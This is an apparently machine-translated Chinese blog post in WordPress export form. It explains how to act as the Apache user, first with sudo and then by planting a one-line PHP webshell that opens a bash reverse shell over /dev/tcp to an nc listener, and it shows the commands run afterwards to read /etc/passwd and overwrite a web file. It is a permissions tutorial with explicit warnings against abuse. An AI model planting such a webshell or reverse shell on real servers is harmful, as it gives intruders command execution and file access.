{"id":36643,"date":"2023-12-21T10:04:29","date_gmt":"2023-05-31T22:24:42","guid":{"rendered":"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/"},"modified":"2024-05-04T14:37:25","modified_gmt":"2024-05-04T06:37:25","slug":"%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4","status":"publish","type":"post","link":"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/","title":{"rendered":"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f"},"content":{"rendered":"

\u4ec0\u4e48\u6837\u7684\u6587\u7ae0<\/h1>\n

\u521b\u5efa\u6587\u4ef6\u4e0a\u4f20\u7a0b\u5e8f\u65f6\u7ecf\u5e38\u51fa\u73b0\u7684\u6743\u9650\u9519\u8bef\u3002<\/p>\n

\u5f53\u6211\u6210\u4e3aSE\u7684\u521d\u59cb\u9636\u6bb5\uff0c\u6211\u4e0d\u77e5\u9053\u8fd9\u610f\u5473\u7740\u4ec0\u4e48\u3002
\n\u5982\u679c\u6211\u6210\u4e3aApache\uff0c\u6211\u5c31\u80fd\u591f\u7406\u89e3\u65e0\u6cd5\u5199\u5165\u7684\u72b6\u6001\u53d1\u751f\u4e86\u4ec0\u4e48\u3002
\n\u56e0\u4e3a\u6211\u6709\u8fd9\u6837\u7684\u60f3\u6cd5\uff0c\u6240\u4ee5\u6211\u5199\u4e86\u8fd9\u7bc7\u6587\u7ae0\u3002<\/p>\n

\u8fd9\u7bc7\u6587\u7ae0\u63d0\u5230\u4e86\u4e00\u4e9b\u4e0d\u597d\u7684\u7528\u6cd5\u3002\u8bf7\u5728\u81ea\u5df1\u7684\u73af\u5883\u4e2d\u4f7f\u7528\uff0c\u5e76\u4e14\u4e0d\u8981\u6ee5\u7528\u3002<\/p>\n

<1> \u6210\u4e3a Apache \u7528\u6237\u7684\u65b9\u6cd5- Linux \u7248<\/h1>\n

\u5f53\u5728Linux\u4e0a\u666e\u901a\u5b89\u88c5Apache\u65f6\uff0c\u5c06\u521b\u5efa\u4e00\u4e2a\u540d\u4e3aApache\u7684\u7528\u6237\u3002
\n\u7136\u800c\uff0c\u4ece\u5b89\u5168\u89d2\u5ea6\u6765\u770b\uff0c\u7981\u6b62\u4f7f\u7528Apache\u7528\u6237\u8fdb\u884c\u767b\u5f55\uff08\u53ef\u4ee5\u89e3\u9664\u7981\u6b62\uff09\u3002<\/p>\n

[<\/span>root<\/span>@my<\/span>.<\/span>example<\/span>.<\/span>com<\/span>:\/<\/span>var<\/span>\/<\/span>www<\/span>\/<\/span>html<\/span>#] su apache<\/span>\r\nThis<\/span> account<\/span> is<\/span> currently<\/span> not<\/span> available<\/span>.<\/span>\r\n<\/code><\/pre>\n
\u6211\u901a\u5e38\u4f1a\u4f7f\u7528Linux\u7684nologin\u9009\u9879\u7981\u6b62\u767b\u5f55\u7684\u539f\u56e0\u662f\u3002<\/p>\n
#] cat \/etc\/passwd | grep apache<\/span>\r\napache<\/span>:x<\/span>:<\/span>48<\/span>:<\/span>48<\/span>:Apache:\/<\/span>usr<\/span>\/<\/span>share<\/span>\/<\/span>httpd<\/span>:\/<\/span>sbin<\/span>\/<\/span>nologin<\/span>\r\n\r\n\u307e\u305f\u306f<\/span> \/<\/span>etc<\/span>\/<\/span>nologin<\/span> \u304c\u3042\u308b\u3002<\/span>\r\n<\/code><\/pre>\n
\u5982\u679c\u5728\u90a3\u9644\u8fd1\u9032\u884c\u8abf\u6574\uff0c\u4e5f\u53ef\u80fd\u5f37\u5236\u767b\u9304\u3002\u4ee5\u4e0b\u662f\u5728\u4f7f\u7528\/etc\/passwd\u4e2d\u7684nologin\u4f5c\u70ba\u767b\u9304shell\u6642\u7684\u907f\u514d\u65b9\u6cd5\u3002<\/p>\n
root<\/span>@example<\/span>.<\/span>com<\/span>:\/<\/span># sudo -u apache \/bin\/bash<\/span>\r\napache<\/span>@example<\/span>.<\/span>com<\/span>:\/<\/span>$<\/span>  \u3000<\/span><----<\/span>\u30e6\u30fc\u30b6\u304c\u5909\u308f\u3063\u305f<\/span>\r\n<\/code><\/pre>\n
\u5982\u679c\u641c\u7d22\u5173\u952e\u8bcd”Linux nologin”\uff0c\u4f60\u5c31\u80fd\u627e\u5230\u5728\u8fd9\u4e2a\u533a\u57df\u7684\u76f8\u5173\u4fe1\u606f\u3002<\/p>\n
\u987a\u4fbf\u63d0\u4e00\u4e0b\uff0c\u8fd9\u4e2aapache\u7528\u6237\u7684\u73af\u5883\u53d8\u91cf\u4e2d\u6df7\u6742\u4e86sudo\u4e4b\u524d\u7528\u6237\u7684\u73af\u5883\u53d8\u91cf\u3002<\/p>\n
apache<\/span>@my<\/span>.<\/span>example<\/span>.<\/span>com<\/span>:\/<\/span>tmp<\/span>$<\/span> env<\/span> |<\/span> sort<\/span>\r\n...<\/span>\r\nMAIL<\/span>=<\/span>\/var\/s<\/span>pool<\/span>\/<\/span>mail<\/span>\/<\/span>root<\/span>\r\nSUDO_USER<\/span>=<\/span>root<\/span>\r\nUSER<\/span>=<\/span>apache<\/span>\r\nUSERNAME<\/span>=<\/span>apache<\/span>\r\n...<\/span>\r\n<\/code><\/pre>\n
\u6211\u77e5\u9053\u5373\u4f7f\u53d8\u6210apache\u7528\u6237\uff0croot\u7684\u73af\u5883\u53d8\u91cf\u4ecd\u7136\u5b58\u5728\u3002<\/p>\n
sudo\u547d\u4ee4\u53ef\u4ee5\u901a\u8fc7env_keep\u8bbe\u7f6e\u6765\u90e8\u5206\u5730\u7ee7\u627f\u53d8\u8eab\u4e4b\u524d\u7528\u6237\u7684\u73af\u5883\u53d8\u91cf\u3002<\/p>\n
\u53c2\u8003\u6b64\u94fe\u63a5 https:\/\/qiita.com\/chroju\/items\/375582799acd3c5137c7<\/p>\n
<2> \u5728PHP\u4e2d\u6210\u4e3aApache\u7528\u6237\u7684\u65b9\u6cd5\uff0c\u4ee5\u6a21\u62df\u6210Apache\u73af\u5883\u3002<\/h1>\n
\u521a\u624d\u6211\u4ee5Linux\u7684\u8eab\u4efd\u767b\u5f55\u4e3aApache\u7528\u6237\uff0c\u73b0\u5728\u6211\u60f3\u5c1d\u8bd5\u901a\u8fc7PHP\u6587\u4ef6\u6210\u4e3aApache\u7528\u6237\u3002<\/p>\n
\u5f00\u59cb\u8bb2\u4e00\u4e2a\u6545\u4e8b\uff0c\u53ea\u9700\u8981\u672c\u5730\u7528\u6237\u548c\u53ef\u4ee5\u4f7f\u7528PHP\u6587\u4ef6\uff0c\u60a8\u8fd8\u53ef\u4ee5\u505a\u4ee5\u4e0b\u4e8b\u60c5\u3002<\/p>\n
\u8bf7\u4e0d\u8981\u8fdb\u884c\u6ee5\u7528
\n\u8bf7\u7edd\u5bf9\u4e0d\u8981\u5728\u516c\u5f00\u670d\u52a1\u5668\u4e0a\u8fdb\u884c\u5c1d\u8bd5
\n\u8bf7\u5728\u5b8c\u6210\u540e\u5220\u9664\u5df2\u521b\u5efa\u7684\u6587\u4ef6<\/p>\n
\u6240\u6709\u4f5c\u4e1a\u90fd\u5728 Web \u670d\u52a1\u5668\u4e0a\u8fdb\u884c\u3002
\n\u6211\u5c06\u628a\u4e00\u4e2a\u540d\u4e3a php-reverse-shell \u7684\u5de5\u5177\u653e\u7f6e\u5728 Web \u670d\u52a1\u5668\u7684\u516c\u5f00\u76ee\u5f55\u4e2d\u3002<\/p>\n
[<\/span>root<\/span>@my<\/span>.<\/span>example<\/span>.<\/span>com<\/span>:\/<\/span>var<\/span>\/<\/span>www<\/span>\/<\/span>html<\/span>#] wget https:\/\/gist.githubusercontent.com\/rshipp\/eee36684db07d234c1cc\/raw\/9907b98ec63c6ad9bf5f39d14d07d9a3765f9079\/shell.php<\/span>\r\n\r\n[<\/span>root<\/span>@my<\/span>.<\/span>example<\/span>.<\/span>com<\/span>:\/<\/span>var<\/span>\/<\/span>www<\/span>\/<\/span>html<\/span>#] ls shell.php<\/span>\r\nshell<\/span>.<\/span>php<\/span>\r\n<\/code><\/pre>\n
php\u6587\u4ef6\u7684\u5185\u5bb9\u53ea\u6709\u4e00\u884c\u2192 https:\/\/gist.github.com\/rshipp\/eee36684db07d234c1cc<\/p>\n
\u5c06IP\u5730\u5740\uff0810.0.0.10\uff09\u66f4\u6539\u4e3a\u60a8\u7684web\u670d\u52a1\u5668\u7684IP\u5730\u5740\u3002<\/p>\n
vim<\/span> shell<\/span>.<\/span>php<\/span>\r\n\r\n<<\/span>?<\/span>php<\/span>\r\nexec<\/span>(<\/span>\"\/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.0.0.10\/1234 0>&1'\"<\/span>);<\/span>\r\n<\/code><\/pre>\n
\u6211\u4f1a\u51c6\u5907\u597d\u63a5\u6536Shell\uff0c\u5e76\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\uff0c\u867d\u7136\u4f1a\u6682\u505c\u4e00\u6bb5\u65f6\u95f4\uff0c\u4f46\u8fd9\u6837\u80fd\u786e\u4fdd\u6210\u529f\u3002<\/p>\n
[<\/span>root<\/span>@my<\/span>.<\/span>example<\/span>.<\/span>com<\/span>:\/<\/span>var<\/span>\/<\/span>www<\/span>\/<\/span>html<\/span>#] nc -lvp 1234<\/span>\r\nNcat<\/span>:<\/span> Version<\/span> 7.50<\/span> (<\/span> https<\/span>:\/<\/span>\/<\/span>nmap<\/span>.<\/span>org<\/span>\/<\/span>ncat<\/span> )<\/span>\r\nNcat<\/span>:<\/span> Listening<\/span> on<\/span> ::<\/span>:<\/span>1234<\/span>\r\nNcat<\/span>:<\/span> Listening<\/span> on<\/span> 0.0<\/span>.<\/span>0.0<\/span>:<\/span>1234<\/span>\r\n<\/code><\/pre>\n
\u6211\u5c06\u5c1d\u8bd5\u4ece\u6d4f\u89c8\u5668\u8bbf\u95eeshell.php\u3002<\/p>\n
\u8fd9\u53e5\u8bdd\u7684\u610f\u601d\u662f\uff0c\u901a\u8fc7\u4ee5php\u6587\u4ef6\u8fd0\u884c\u7684Apache\u7528\u6237\u6743\u9650\u6765\u6267\u884cphp\u6587\u4ef6\u3002<\/p>\n
\u5982\u679c\u6709\u5176\u4ed6\u7684shell\uff0c\u7528curl\/wget\u4e5f\u53ef\u4ee5\u3002<\/p>\n
# nc\u3092\u53e9\u3044\u305f\u306e\u3068\u306f\u9055\u3046shell<\/span>\r\n[<\/span>root<\/span>@my<\/span>.<\/span>example<\/span>.<\/span>com<\/span>:\/<\/span>var<\/span>\/<\/span>www<\/span>\/<\/span>html<\/span>#] curl localhost\/shell.php<\/span>\r\n<\/code><\/pre>\n
\u5f53\u60a8\u8bbf\u95ee\u65f6\uff0c\u5c06\u542f\u52a8bash\u3002<\/p>\n
\r\nNcat<\/span>:<\/span> Connection<\/span> from<\/span> 10.1<\/span>.<\/span>2.3<\/span>.<\/span>\r\nNcat<\/span>:<\/span> Connection<\/span> from<\/span> 10.1<\/span>.<\/span>2.3<\/span>:<\/span>40678<\/span>.<\/span>\r\nbash<\/span>:<\/span> no<\/span> job<\/span> control<\/span> in<\/span> this<\/span> shell<\/span>\r\nbash<\/span>-<\/span>4.2<\/span>$<\/span>\r\n<\/code><\/pre>\n
\u77a7\uff01\u6709\u52a8\u9759\u4e86\uff01nc -lvp 1234P\u6240\u76d1\u542c\u7684shell\u51fa\u73b0\u4e86\u53d8\u5316\u3002\u6211\u4eec\u6765\u786e\u8ba4\u4e00\u4e0b\u53d1\u751f\u4e86\u4ec0\u4e48\u4e8b\u60c5\u3002<\/p>\n
\u6211\u6210\u4e3a\u4e86\u4e00\u4e2aApache\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> whoami<\/span>\r\nwhoami<\/span>\r\napache<\/span>\r\n<\/code><\/pre>\n
\u6211\u4eec\u7684\u56e2\u961f\u4e5f\u662fApache\u7684\u4e00\u5458\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> id<\/span>\r\nid<\/span>\r\nuid<\/span>=<\/span>48<\/span>(<\/span>apache<\/span>)<\/span> gid<\/span>=<\/span>48<\/span>(<\/span>apache<\/span>)<\/span> groups<\/span>=<\/span>48<\/span>(<\/span>apache<\/span>)<\/span>\r\n\r\n<\/code><\/pre>\n
\u6211\u5728\u54ea\u91cc\uff1f\u6211\u4ecd\u7136\u5728\u7f51\u7edc\u670d\u52a1\u5668\u5185\u90e8\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> hostname<\/span>\r\nhostname<\/span>\r\nmy<\/span>.<\/span>example<\/span>.<\/span>com<\/span>\r\n\r\n<\/code><\/pre>\n
\u6211\u77e5\u9053\u670d\u52a1\u5668\u7684IP\u5730\u5740\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> ip<\/span> a<\/span>\r\nip<\/span> a<\/span>\r\n1<\/span>:<\/span> lo: <\/span><<\/span>LOOPBACK<\/span>,<\/span>UP<\/span>,<\/span>LOWER_UP<\/span>><\/span>\r\n    inet<\/span> 127.0<\/span>.<\/span>0.1<\/span>\/<\/span>8<\/span> scope<\/span> host<\/span> lo<\/span>\r\n2<\/span>:<\/span> eth0: <\/span><<\/span>BROADCAST<\/span>,<\/span>MULTICAST<\/span>,<\/span>UP<\/span>,<\/span>LOWER_UP<\/span>><\/span>\r\n    inet<\/span> 10.1<\/span>.<\/span>2.3<\/span>\/<\/span>21<\/span> brd<\/span> 10.1<\/span>.<\/span>0.0<\/span> scope<\/span> global<\/span> dynamic<\/span> eth0<\/span>\r\n\r\n<\/code><\/pre>\n
\u5f53\u524d\u76ee\u5f55\u5728\u8fd9\u91cc\u3002\u8fd9\u662f\u5426\u662fapache\u7684Document_Root\uff1f<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> pwd<\/span>\r\npwd<\/span>\r\n\/var\/<\/span>www<\/span>\/<\/span>html<\/span>\r\n<\/code><\/pre>\n
\u6211\u53ef\u4ee5\u67e5\u770b\u6587\u4ef6\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> ls<\/span> -<\/span>l<\/span>\r\nls<\/span> -<\/span>l<\/span>\r\ntotal<\/span> 1128<\/span>\r\n-<\/span>rw<\/span>-<\/span>r<\/span>--<\/span>r<\/span>--<\/span> 1<\/span> apache<\/span> apache<\/span>       2<\/span> Mar<\/span> 29<\/span>  2019<\/span> index<\/span>.<\/span>html<\/span>\r\n-<\/span>rw<\/span>-<\/span>r<\/span>--<\/span>r<\/span>--<\/span> 1<\/span> root<\/span>   root<\/span>        75<\/span> Jul<\/span> 13<\/span> 10<\/span>:<\/span>42<\/span> shell<\/span>.<\/span>php<\/span>\r\n<\/code><\/pre>\n
\u53ea\u6709\u6240\u6709\u8005\u5177\u6709Apache\u6216\u5177\u6709\u5199\u5165\u6743\u9650\u7684\u6587\u4ef6\u624d\u80fd\u88ab\u4fee\u6539\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> echo<\/span> ZZZZZZZZZZZZZZ<\/span> ><\/span> index<\/span>.<\/span>html<\/span>\r\n\r\nbash<\/span>-<\/span>4.2<\/span>$<\/span> cat<\/span> index<\/span>.<\/span>html<\/span>\r\nZZZZZZZZZZZZZZ<\/span>\r\n<\/code><\/pre>\n
\u6211\u4e5f\u53ef\u4ee5\u67e5\u770b\/etc\/passwd\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> cat<\/span> \/etc\/<\/span>passwd<\/span>\r\ncat<\/span> \/etc\/<\/span>passwd<\/span>\r\nroot<\/span>:x<\/span>:<\/span>0<\/span>:<\/span>0<\/span>:root:\/<\/span>root<\/span>:\/<\/span>bin<\/span>\/<\/span>bash<\/span>\r\nnobody<\/span>:x<\/span>:<\/span>99<\/span>:<\/span>99<\/span>:Nobody:\/:\/<\/span>sbin<\/span>\/<\/span>nologin<\/span>\r\nsystemd<\/span>-<\/span>network<\/span>:x<\/span>:<\/span>192<\/span>:<\/span>192<\/span>:systemd<\/span> Network<\/span> Management<\/span>:\/:\/<\/span>sbin<\/span>\/<\/span>nologin<\/span>\r\ndbus<\/span>:x<\/span>:<\/span>81<\/span>:<\/span>81<\/span>:Syste<\/span>\r\n~<\/span>\r\n<\/code><\/pre>\n
\u6211\u65e0\u6cd5\u67e5\u770b\/etc\/shadow\uff08\u4fdd\u5b58\u7740Linux\u7528\u6237\u5bc6\u7801\uff09<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> cat<\/span> \/etc\/s<\/span>hadow<\/span>\r\ncat<\/span> \/etc\/s<\/span>hadow<\/span>\r\ncat: <\/span>\/etc\/s<\/span>hadow: <\/span>Permission<\/span> denied<\/span>\r\n<\/code><\/pre>\n
\u5f53\u7136\uff0c\u6211\u6ca1\u6709\u6743\u9650\u4fee\u6539\/etc\/shadow\u6587\u4ef6\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> echo<\/span> 1<\/span> ><\/span> \/etc\/s<\/span>hadow<\/span>\r\necho<\/span> 1<\/span> ><\/span> \/etc\/s<\/span>hadow<\/span>\r\nbash: <\/span>\/etc\/s<\/span>hadow: <\/span>Permission<\/span> denied<\/span>\r\n\r\n<\/code><\/pre>\n
sudo\u4e0d\u53ef\u884c\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> sudo<\/span> yum<\/span> install<\/span> sl<\/span>\r\nsudo<\/span> yum<\/span> install<\/span> sl<\/span>\r\n\r\nWe<\/span> trust<\/span> you<\/span> have<\/span> received<\/span> the<\/span> usual<\/span> lecture<\/span> from<\/span> the<\/span> local<\/span> System<\/span>\r\nAdministrator<\/span>.<\/span> It<\/span> usually<\/span> boils<\/span> down<\/span> to<\/span> these<\/span> three<\/span> things:\r\n\r\n    <\/span>#1) Respect the privacy of others.<\/span>\r\n    #2) Think before you type.<\/span>\r\n    #3) With great power comes great responsibility.<\/span>\r\n\r\nsudo: <\/span>no<\/span> tty<\/span> present<\/span> and<\/span> no<\/span> askpass<\/span> program<\/span> specified<\/span>\r\n<\/code><\/pre>\n
\u5728\u8fd9\u91cc\u53ef\u4ee5\u4f7f\u7528sudo\u547d\u4ee4\u6216\u8005\u6210\u4e3aroot\u7684\u884c\u4e3a\u88ab\u79f0\u4e3a\u6f0f\u6d1e\u3002<\/p>\n
\u8ba9\u6211\u4eec\u770b\u4e00\u4e0b\u73af\u5883\u3002<\/p>\n
bash<\/span>-<\/span>4.2<\/span>$<\/span> env<\/span>\r\nPATH<\/span>=<\/span>\/usr\/<\/span>local<\/span>\/<\/span>sbin<\/span>:\/<\/span>usr<\/span>\/<\/span>local<\/span>\/<\/span>bin<\/span>:\/<\/span>usr<\/span>\/<\/span>sbin<\/span>:\/<\/span>usr<\/span>\/<\/span>bin<\/span>\r\n_<\/span>=<\/span>\/usr\/<\/span>bin<\/span>\/<\/span>env<\/span>\r\nPWD<\/span>=<\/span>\/var\/<\/span>www<\/span>\/<\/span>html<\/span>\r\nLANG<\/span>=<\/span>C<\/span>\r\nNOTIFY_SOCKET<\/span>=<\/span>\/run\/s<\/span>ystemd<\/span>\/<\/span>notify<\/span>\r\nSHLVL<\/span>=<\/span>3<\/span>\r\n_<\/span>=<\/span>\/usr\/<\/span>bin<\/span>\/<\/span>env<\/span>\r\n\r\n<\/code><\/pre>\n
\u975e\u5e38\u7b80\u5355\u3002<\/p>\n
\u5b8c\u6210\u8c03\u8bd5\u4e4b\u540e\uff0c\u52a1\u5fc5\u5220\u9664 shell.php\u3002<\/p>\n
\u603b\u7ed3<\/h1>\n
\u6211\u8ba4\u4e3aApache\u7528\u6237\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u5e76\u67e5\u770b\u79c1\u6709\u6587\u4ef6\u3002<\/p>\n
\u53ea\u9700\u8981\u4e00\u884cPHP\u4ee3\u7801\uff0c\u6211\u5c31\u80fd\u767b\u5f55\u800c\u4e0d\u9700\u8981\u4f7f\u7528sudo\uff0c\u4e5f\u4e0d\u9700\u8981\u6539\u5199\/etc\/passwd\u548c\/etc\/sudoers\u6587\u4ef6\u3002<\/p>\n
\u6211\u4eec\u8981\u59cb\u7ec8\u610f\u8bc6\u5230\u5408\u9002\u7684\u5b89\u5168\u63aa\u65bd\uff0c\u54ce\u5440\uff0c\u91cd\u70b9\u53d8\u4e86\u3002<\/p>\n
\u7ed3\u675f\u4e86\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u4ec0\u4e48\u6837\u7684\u6587\u7ae0 \u521b\u5efa\u6587\u4ef6\u4e0a\u4f20\u7a0b\u5e8f\u65f6\u7ecf\u5e38\u51fa\u73b0\u7684\u6743\u9650\u9519\u8bef\u3002 \u5f53\u6211\u6210\u4e3aSE\u7684\u521d\u59cb\u9636\u6bb5\uff0c\u6211\u4e0d\u77e5\u9053\u8fd9\u610f\u5473\u7740\u4ec0\u4e48\u3002 \u5982\u679c\u6211\u6210 […]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-36643","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"yoast_head":"\n\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f - Blog - Silicon Cloud<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.silicloud.com\/zh\/blog\/\u4ee5apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7apache\u7528\u6237\u767b\u5f55\u7684\u4e24\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f\" \/>\n<meta property=\"og:description\" content=\"\u4ec0\u4e48\u6837\u7684\u6587\u7ae0 \u521b\u5efa\u6587\u4ef6\u4e0a\u4f20\u7a0b\u5e8f\u65f6\u7ecf\u5e38\u51fa\u73b0\u7684\u6743\u9650\u9519\u8bef\u3002 \u5f53\u6211\u6210\u4e3aSE\u7684\u521d\u59cb\u9636\u6bb5\uff0c\u6211\u4e0d\u77e5\u9053\u8fd9\u610f\u5473\u7740\u4ec0\u4e48\u3002 \u5982\u679c\u6211\u6210 […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.silicloud.com\/zh\/blog\/\u4ee5apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7apache\u7528\u6237\u767b\u5f55\u7684\u4e24\/\" \/>\n<meta property=\"og:site_name\" content=\"Blog - Silicon Cloud\" \/>\n<meta property=\"article:published_time\" content=\"2023-05-31T22:24:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-05-04T06:37:25+00:00\" \/>\n<meta name=\"author\" content=\"\u6e05, \u626c\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u6e05, \u626c\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/\",\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/\",\"name\":\"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f - Blog - Silicon Cloud\",\"isPartOf\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#website\"},\"datePublished\":\"2023-05-31T22:24:42+00:00\",\"dateModified\":\"2024-05-04T06:37:25+00:00\",\"author\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/cb5556d2501da73d864cac945e8d9461\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/%e4%bb%a5apache%e7%9a%84%e5%bf%83%e6%80%81%e6%9d%a5%e5%b0%9d%e8%af%95%e7%9a%84%e4%b8%a4%e7%a7%8d%e6%96%b9%e6%b3%95-%e9%80%9a%e8%bf%87apache%e7%94%a8%e6%88%b7%e7%99%bb%e5%bd%95%e7%9a%84%e4%b8%a4\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.silicloud.com\/zh\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u4ee5Apache\u7684\u5fc3\u6001\u6765\u5c1d\u8bd5\u7684\u4e24\u79cd\u65b9\u6cd5-\u901a\u8fc7Apache\u7528\u6237\u767b\u5f55\u7684\u4e24\u79cd\u65b9\u5f0f\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#website\",\"url\":\"https:\/\/www.silicloud.com\/zh\/blog\/\",\"name\":\"Blog - Silicon Cloud\",\"description\":\"\",\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/cb5556d2501da73d864cac945e8d9461\",\"name\":\"\u6e05, \u626c\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.silicloud.com\/zh\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/32a4239de8ff29adace466261d309424a1e5fe9f7e3036bf89fe03f2e3dbe717?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/32a4239de8ff29adace466261d309424a1e5fe9f7e3036bf89fe03f2e3dbe717?s=96&d=mm&r=g\",\"caption\":\"\u6e05, 